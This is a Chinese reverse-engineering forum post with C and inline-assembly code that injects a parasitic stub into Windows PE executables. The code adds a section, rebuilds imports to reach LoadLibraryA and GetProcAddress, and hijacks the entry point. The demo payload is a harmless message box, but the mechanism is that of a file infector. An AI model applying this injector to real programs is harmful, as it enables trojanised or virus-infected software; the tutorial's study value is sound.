网上关于PE结构编辑的代码确实很少,并且很多都是把罗云斌的《WIN32汇编程序设计》中的代码照搬过来。经过这几天的摸索,
完成了下面这段代码,对PE结构不怎么了解的朋友建议你先恶补一下PE知识,限于篇幅,我就不重述那些东西了。
在向PE结构文件插入代码时最重要的是API函数的调用,你的寄生代码在本地编译后的API函数地址到宿主文件中就会无效,所以
必须想办法在宿主文件中找到合法的API函数地址。在《WIN32汇编程序设计》中介绍了一个动态获取API 的方法,不过该方法较为
复杂,在C语言下不好实现。还有是在本地直接用LoadLibrary和GetProcAddress两个函数获得API地址,再写到宿主文件中,这个虽简单不过不是很保险。
在了解PE结构后,我想到了本文所讲的方法,在之前我先在网上搜了一下资料(T T!............少的可怜),找到了一遍文章介绍
是PE文件中API HOOK,就是把导入表中的函数的地址指向另一个地址,不过作者没给代码,说是为了安全,不打算公开(- -!)
没办法,最后只能靠自己了。。。(^_^)。
现在开始步入正题。。。。。我们首先要确定的是只要找到“LoadLibraryA”和“GetProcAddress"这两个函数的地址就行了,接下来程序的大体思路是
这样的:先在宿主文件中新建一个节区,把导入表复制到新节区中,在复制的时候检查一下有没有”LoadLibraryA“和”GetProcAddress"两个函数,如果有的
话保存它们的地址,没有的话就添加这两个函数到新导入表中,之后保存它们的地址,再把我们的寄生代码写到这个新节区中。下面根据代码来详细说
一下这个过程:
/***********************************************************************************************/
HANDLE sFileHdl;
HANDLE sFileMap;
int sFileSize,i,sizeofTable,numOfImport=0,thunkDataNum=0,s=0,start,CodeSize;
char str[20];
DWORD WriteSize;
DWORD thunkAddr;
DWORD dwOldEntry;
DWORD dwNewEntry;
DWORD TotalSize=0;
DWORD LoadLibraryAddr=0;
DWORD GetProcAddrAddr=0;
BYTE buf[BUFSIZE];
PCHAR dllName;
PCHAR funName;
PIMAGE_IMPORT_DESCRIPTOR importEntry;
PIMAGE_IMPORT_DESCRIPTOR newImportEntry;
PIMAGE_SECTION_HEADER lastSection;
PIMAGE_SECTION_HEADER newSection;
PIMAGE_SECTION_HEADER hImportSection;
PIMAGE_THUNK_DATA hImportFun;
PIMAGE_IMPORT_BY_NAME hFunName;
PIMAGE_DOS_HEADER sDOSfile;
PIMAGE_NT_HEADERS sNTfile;
PIMAGE_THUNK_DATA srcThunkData;
PIMAGE_THUNK_DATA FirstThunkData;
/****************************************************************************************************/
/**********创建文件映射,映射后得到的地址赋给IMAGE_DOS_HEADER结构的DOS文件头***************************/
sFileHdl=CreateFile(sFileName,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
sFileSize=GetFileSize(sFileHdl,NULL);
if(sFileHdl==INVALID_HANDLE_VALUE)
{
MessageBox(hwd,TEXT("打开源文件出错!"),TEXT("Error"),MB_OK);
CloseHandle(sFileHdl);
return 0;
}
sFileMap=CreateFileMapping(sFileHdl,NULL,PAGE_READWRITE,0,0,NULL);
if(!sFileMap)
{
MessageBox(hwd,TEXT("创建文件映射错误"),TEXT("error"),MB_OK);
CloseHandle(sFileMap);
return 0;
}
sDOSfile=(PIMAGE_DOS_HEADER)MapViewOfFile(sFileMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,NULL);
if(!sDOSfile)
{
MessageBox(hwd,TEXT("打开文件映射视图错误!"),TEXT("Error"),MB_OK);
return 0;
}
/**********验证文件是否是PE文件*********************************************************************/
if(sDOSfile->e_magic!=IMAGE_DOS_SIGNATURE)
{
MessageBox(hwd,TEXT("不是有效的PE文件!"),TEXT("错误"),MB_OK);
return 0;
}
//PE文件头sNTfile
sNTfile=(PIMAGE_NT_HEADERS)((PBYTE)sDOSfile+((PIMAGE_DOS_HEADER)sDOSfile)->e_lfanew);
if(sNTfile->Signature!=IMAGE_NT_SIGNATURE)
{
MessageBox(hwd,TEXT("不是有效的PE文件!"),TEXT("错误"),MB_OK);
return 0;
}
/*******************添加新节newSection********************************************************/
lastSection=(PIMAGE_SECTION_HEADER)((PBYTE)sNTfile+(sNTfile->FileHeader.NumberOfSections-1)*sizeof(IMAGE_SECTION_HEADER)+sizeof(IMAGE_NT_HEADERS));
newSection=lastSection+1;
for(i=0;i<10;i++)//这里10是sizeof(IMAGE_SECTION_HEADER)/4得来的
{
if(*((PDWORD)newSection+i)!=0)
break;
}
if(i<10)
{
MessageBox(hwd,TEXT("没有足够的节表空间!"),TEXT("Error"),MB_OK);
return 0;
}
sizeofTable=2048;//新节的大小,为了方便随便设了一个差不多的值,可能会有空间浪费
/*****************设置新节中相应字段的值********************************************************/
sNTfile->FileHeader.NumberOfSections++;
newSection->PointerToRawData=lastSection->PointerToRawData+lastSection->SizeOfRawData;//新节在文件中偏移
newSection->SizeOfRawData=align(sizeofTable,sNTfile->OptionalHeader.FileAlignment);//新节在文件中的大小,需要以sNTfile->OptionalHeader结构中的FileAlignment字段对齐
strcpy_s((char*)newSection->Name,sizeof(newSection->Name),TEXT(".zdata"));//新节的名称
newSection->VirtualAddress=lastSection->VirtualAddress+align(lastSection->Misc.VirtualSize,sNTfile->OptionalHeader.SectionAlignment);//新节在内存中的偏移,
newSection->Misc.VirtualSize=sizeofTable;//新节的大小
newSection->Characteristics=IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_MEM_EXECUTE;//设置新节区的属性
/* 开始遍历原导入表,sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress中存放着导入表的内存偏移, *
* 由于我们要在文件中查找导入表,则需要把这个内存偏移转换成在文件中的偏移,同过自己实现的函数RAV2Offset完成。 *
*/
hImportSection=RVA2Offset(sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress,sNTfile);
importEntry=(PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)sDOSfile+sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
/**************将文件指针移到新节的起点处,准备往里写数据**********************************************/
SetFilePointer(sFileHdl,newSection->PointerToRawData,NULL,FILE_BEGIN);
/***下面是将要添加函数的IMAGE_IMPORT_BY_NAME的结构写入新节区中,该结构是PE装载器在装载动态链接库的导入函数时用的****/
hFunName=new IMAGE_IMPORT_BY_NAME[7];
hFunName->Hint=0;
memcpy_s(hFunName->Name,sizeof("LoadLibraryA"),"LoadLibraryA",sizeof("LoadLibraryA"));
WriteFile(sFileHdl,hFunName,25,&WriteSize,NULL);
memset(hFunName,0,25);
hFunName->Hint=0;
memcpy_s(hFunName->Name,sizeof("GetProcAddress"),"GetProcAddress",sizeof("GetProcAddress"));
WriteFile(sFileHdl,hFunName,25,&WriteSize,NULL);
/****修改导入表的入口地址为新导入表,并把IAT置零,防止系统不装载我们新添加的导入函数,当然,也可以修正一下IAT,但。。。太麻烦~~!***********************/
sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=newSection->VirtualAddress+50;
sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress=NULL;
sNTfile->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size=NULL;
TotalSize+=50;
/******开始复制导入表到新节区,下面第一个循环是为了得到导入表中导入库的数量**************/
newImportEntry=importEntry;
while(newImportEntry->OriginalFirstThunk||newImportEntry->TimeDateStamp||newImportEntry->ForwarderChain||newImportEntry->FirstThunk||newImportEntry->Name)
{
numOfImport++;
newImportEntry++;
}
newImportEntry=new IMAGE_IMPORT_DESCRIPTOR;
while(importEntry->OriginalFirstThunk||importEntry->TimeDateStamp||importEntry->ForwarderChain||importEntry->FirstThunk||importEntry->Name)
{
hImportSection=RVA2Offset(importEntry->Name,sNTfile);
dllName=(PCHAR)((PBYTE)sDOSfile+importEntry->Name-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
hImportSection=RVA2Offset(importEntry->FirstThunk,sNTfile);
hImportSection->Characteristics=IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE;
//*****判断原导入表中是否存在我们要添加的函数******************//
if(strcmp(dllName,"kernel32.dll")==0||strcmp(dllName,"KERNEL32.dll")==0)
{
FirstThunkData=(PIMAGE_THUNK_DATA)((PBYTE)sDOSfile+importEntry->FirstThunk-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
if(importEntry->OriginalFirstThunk!=NULL)
{
hImportSection=RVA2Offset(importEntry->OriginalFirstThunk,sNTfile);
srcThunkData=(PIMAGE_THUNK_DATA)((PBYTE)sDOSfile+importEntry->OriginalFirstThunk-hImportSection->VirtualAddress+hImportSection->PointerToRawData);
}
else
{
srcThunkData=FirstThunkData;
}
hImportFun=srcThunkData;
while(srcThunkData->u1.AddressOfData!=0)
{
hImportSection=RVA2Offset(srcThunkData->u1.AddressOfData,sNTfile);
funName=(PCHAR)((PBYTE)sDOSfile+srcThunkData->u1.AddressOfData-hImportSection->VirtualAddress+hImportSection->PointerToRawData+2);
if(strcmp(funName,"LoadLibraryA")==0)
LoadLibraryAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+8-(importEntry->FirstThunk+thunkDataNum*sizeof(IMAGE_THUNK_DATA));
else
if(strcmp(funName,"GetProcAddress")==0)
GetProcAddrAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+8-(importEntry->FirstThunk+thunkDataNum*sizeof(IMAGE_THUNK_DATA));
thunkDataNum++;
srcThunkData++;
}
//如果不存在,则修改“kernel32.dll”中的FirstThunk字段的值为新节区的一块地址
if(LoadLibraryAddr==0||GetProcAddrAddr==0)
{
memcpy_s(newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR));
newImportEntry->FirstThunk=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR);
newImportEntry->OriginalFirstThunk=newImportEntry->FirstThunk;
WriteFile(sFileHdl,newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);
}
//存在则直接复制到新节区,LoadLibraryAddr和GetProcAddrAddr存放函数地址到寄生代码头部的偏移
else
WriteFile(sFileHdl,importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);
}
else
WriteFile(sFileHdl,importEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);
importEntry++;
}
/*********************************************************************************************************/
memset(newImportEntry,0,sizeof(IMAGE_IMPORT_DESCRIPTOR));
WriteFile(sFileHdl,newImportEntry,sizeof(IMAGE_IMPORT_DESCRIPTOR),&WriteSize,NULL);
TotalSize+=(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR);
srcThunkData=hImportFun;
if(LoadLibraryAddr==0||GetProcAddrAddr==0)
{
/* 将原导入表中“kernel32.dll”的IMAGE_THUNK_DATA数组的值指向新节表的空闲地址,这里稍微多说一下,
* exe文件在编译连接后,代码中所调用API的地址被替换成导入表结构IMAGE_IMPORT_DESCRIPTOR中的FirstThunk
* 字段所指向的IMAGE_THUNK_DATA数组地址。如在C代码中调用LoadLibrary函数后,经过编译链接后的汇编代码
* 是这样的:call [0040xxxx],0040000是一般PE文件建议装载的内存基址,后面的xxxx是IMAGE_THUNK_DATA的内存偏移
* 操作系统在装载PE时会将真正API函数的地址替换FirstThunk指向的IMAGE_THUNK_DATA结构数组,那么call [0400xxxx]
* 就是用一个间接寻址来调用API函数,相关详细内容可查看PE知识的导入表结构介绍。我们不能修改源码中API的调用
* 地址,并且操作系统装载时将API地址装入到新导入表中,所以就在修改的IMAGE_THUNK_DATA的值所指向的新节表的空
* 闲地址用一个JMP指令跳到新导入表中对应IMAGE_THUNK_DATA地址处。
*
*/
hImportFun=new IMAGE_THUNK_DATA;
for(i=0;i<thunkDataNum;i++)
{
hImportFun->u1.AddressOfData=srcThunkData->u1.AddressOfData;
WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
FirstThunkData->u1.AddressOfData=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+(thunkDataNum+3)*sizeof(IMAGE_THUNK_DATA)+s+sNTfile->OptionalHeader.ImageBase;
FirstThunkData++;
srcThunkData++;
s+=BUFSIZE;
}
//添加新函数的IMAGE_THUNK_DATA结构,
hImportFun->u1.AddressOfData=newSection->VirtualAddress;
WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
LoadLibraryAddr=3*sizeof(IMAGE_THUNK_DATA)+thunkDataNum*BUFSIZE+8;
hImportFun->u1.AddressOfData=newSection->VirtualAddress+25;
WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
GetProcAddrAddr=2*sizeof(IMAGE_THUNK_DATA)+thunkDataNum*BUFSIZE+8;
memset(hImportFun,0,sizeof(IMAGE_THUNK_DATA));
WriteFile(sFileHdl,hImportFun,sizeof(IMAGE_THUNK_DATA),&WriteSize,NULL);
TotalSize+=(thunkDataNum+3)*sizeof(IMAGE_THUNK_DATA);
//添加JMP指令跳到新导入表中”kernel32.dll"库的导入函数的IMAGE_THUNK_DATA地址处
buf[0]=0xFF;
buf[1]=0x25;
thunkAddr=newSection->VirtualAddress+50+(numOfImport+1)*sizeof(IMAGE_IMPORT_DESCRIPTOR)+sNTfile->OptionalHeader.ImageBase;
for(i=0;i<thunkDataNum;i++)
{
buf[2]=(BYTE)(thunkAddr);
buf[3]=(BYTE)(thunkAddr>>8);
buf[4]=(BYTE)(thunkAddr>>16);
buf[5]=(BYTE)(thunkAddr>>24);
WriteFile(sFileHdl,buf,BUFSIZE,&WriteSize,NULL);
thunkAddr+=sizeof(IMAGE_THUNK_DATA);
}
TotalSize+=thunkDataNum*BUFSIZE;
delete hImportFun;
}
//将"LoadLibraryAddr“和”GetProcAddrAddr"写入到文件中为了在寄生代码中可以读取
WriteFile(sFileHdl,&LoadLibraryAddr,4,&WriteSize,NULL);
WriteFile(sFileHdl,&GetProcAddrAddr,4,&WriteSize,NULL);
TotalSize+=8;
//写入寄生代码并记录新入口地址
CodeInfo(&start,&CodeSize);
dwNewEntry=newSection->VirtualAddress+TotalSize;
WriteFile(sFileHdl,(LPVOID)start,CodeSize,&WriteSize,NULL);
TotalSize+=CodeSize;
//写入JMP 原入口地址
dwOldEntry=sNTfile->OptionalHeader.AddressOfEntryPoint-newSection->VirtualAddress-TotalSize-5;
buf[0]=0xe9;
buf[1]=(BYTE)dwOldEntry;
buf[2]=(BYTE)(dwOldEntry>>8);
buf[3]=(BYTE)(dwOldEntry>>16);
buf[4]=(BYTE)(dwOldEntry>>24);
WriteFile(sFileHdl,buf,5,&WriteSize,NULL);
TotalSize+=5;
//写入在寄生代码中用到的字符串
strcpy_s(str,20,"user32.dll");
WriteFile(sFileHdl,str,20,&WriteSize,NULL);
strcpy_s(str,20,"MessageBoxA");
WriteFile(sFileHdl,str,20,&WriteSize,NULL);
strcpy_s(str,20,"test");
WriteFile(sFileHdl,str,20,&WriteSize,NULL);
strcpy_s(str,20,"Test Successful!");
WriteFile(sFileHdl,str,20,&WriteSize,NULL);
TotalSize+=80;
//修改程序入口地址和其他一些字段
sNTfile->OptionalHeader.AddressOfEntryPoint=dwNewEntry;
int w=align(newSection->Misc.VirtualSize,sNTfile->OptionalHeader.SectionAlignment);
sNTfile->OptionalHeader.SizeOfImage+=w;
sNTfile->OptionalHeader.SizeOfCode+=w;
SetFilePointer(sFileHdl,newSection->PointerToRawData+newSection->SizeOfRawData,NULL,FILE_BEGIN);
SetEndOfFile(sFileHdl);
delete newImportEntry;
delete[] hFunName;
UnmapViewOfFile(sDOSfile);
CloseHandle(sFileMap);
CloseHandle(sFileHdl);
注:align函数和RVA2Offset函数在了解原理后非常好实现,这里就不贴代码了.
我的寄生代码如下(在begin和end之间):
void CodeInfo(int *start,int *CodeSize)
{
DWORD s,e;
_asm
{
push eax
mov eax,begin
mov s,eax
mov eax,end
mov e,eax
jmp end
begin: pushad
call A
A:
pop edi //获取当前地址给edi
sub edi,6
mov ebx,[edi-8]
mov eax,edi
sub eax,ebx
mov ebx,eax//此时ebx存储的是LoadLibraryA的IMAGE_THUNK_DATA地址
mov esi,edi
add esi,end
sub esi,begin
add esi,5 //获取字符串“user32.dll”地址给esi
push esi
call [ebx] //调用LoadLibraryA函数
add esi,0x14
push esi
push eax
mov ebx,[edi-4]
mov eax,edi
sub eax,ebx
mov ebx,eax
call [ebx] //调用GetProcAddress函数获取MessageBoxA地址
push 0x0L
add esi,0x14
push esi
add esi,0x14
push esi
push 0x00
call eax //调用MessageBoxA函数
popad
end:
pop eax
}
*start=s;
*CodeSize=e-s;
}
下面是运行效果:
在PPstream主程序中添加代码。
添加成功后运行出现的测试对话框
主程序可以正常运行,测试成功~!!
对QQ测试的时候失败了,猜想QQ里应该有自效验机制。。。以后再慢慢研究吧~~!!
由于只是用于测试,所以代码没有好好的优化,还请见谅,如有问题欢迎指出交流。这是本人在看雪发的第一篇文章,不足之处望指正,感激不尽~~!! 由于第一次发,不知道这里排版是什么样子,所以粘贴到这里可能会很乱,所以建议将代码拷到本地编辑器中去看会更好,熟悉这里排版后以后会改正的。。
我是新来的,希望得到一个邀请码~~!! 谢谢~!\(^o^)/~
[课程]FART 脱壳王!加量不加价!FART作者讲授!